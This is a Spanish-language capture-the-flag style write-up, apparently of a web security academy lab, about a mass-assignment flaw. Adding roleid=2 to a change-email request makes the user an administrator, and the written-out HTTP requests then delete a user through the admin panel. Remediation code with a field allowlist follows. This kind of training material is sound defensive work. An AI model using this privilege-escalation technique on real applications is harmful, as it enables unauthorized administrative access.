← Writeups

User role can be modified in user profile

Escalada vertical por mass assignment: el endpoint de actualización de perfil acepta un campo roleid no declarado en la UI, elevando al usuario a roleid 2 para acceder al panel admin.

Target Overview & Vulnerability Summary

El lab access-control/lab-user-role-can-be-modified-in-user-profile tiene un panel admin en /admin accesible solo para usuarios autenticados con roleid igual a 2. La funcionalidad de actualizar email acepta campos adicionales no declarados en el formulario: enviando roleid=2 en la request de actualización del perfil, el usuario eleva su rol y accede al panel para eliminar a carlos.

Campo Valor
Severidad Alta (escalada vertical a administrador)
Endpoint vulnerable POST /my-account/change-email (actualización de perfil)
Root cause Mass assignment: el modelo de perfil se actualiza con todos los campos de la request, incluido roleid

Credenciales del laboratorio: wiener:peter.

Technical Breakdown & Exploitation Flow

1. La request legítima

El formulario de actualizar email solo envía email y csrf. Interceptándola con Burp:

POST /my-account/change-email HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded

email=wiener@normal-user.net&csrf=<CSRF_TOKEN>

2. Inyección del campo roleid

El endpoint mapea todos los parámetros de la request al modelo del usuario. Se añade roleid:

POST /my-account/change-email HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded

email=wiener@normal-user.net&csrf=<CSRF_TOKEN>&roleid=2

La actualización persiste roleid=2 junto al email. Accediendo a /admin con la sesión ya elevada:

GET /admin HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>

El panel admin responde con las acciones administrativas; se elimina al usuario carlos:

GET /admin/delete?username=carlos HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>

Root Cause Analysis

La causa raíz es el mass assignment: el backend toma la request y la aplica directamente sobre el objeto de perfil sin un allowlist de campos actualizables. El campo roleid no aparece en la UI, pero como el endpoint acepta cualquier parámetro, el cliente puede setear un atributo de autorización que solo el servidor debería controlar. La separación entre "campos editables por el usuario" y "campos gestionados por el sistema" no existe en el modelo de actualización.

Secure Remediation

  • Aplicar un allowlist de campos actualizables por el usuario; los atributos de rol/privilegios se asignan exclusivamente server-side:
ALLOWED_UPDATE_FIELDS = {"email"}

def change_profile(request):
    updates = {k: v for k, v in request.form.items() if k in ALLOWED_UPDATE_FIELDS}
    if len(updates) != len(request.form):          # parámetros extra
        abort(400)
    user.update(updates)
  • Si el framework lo permite, configurar la serialización para ignorar campos no declarados (whitelist en lugar de blacklist).
  • Resolver el rol desde la sesión/base de datos en cada request administrativa, y validar que /admin requiera roleid == 2 en el middleware de autorización (no solo en la UI).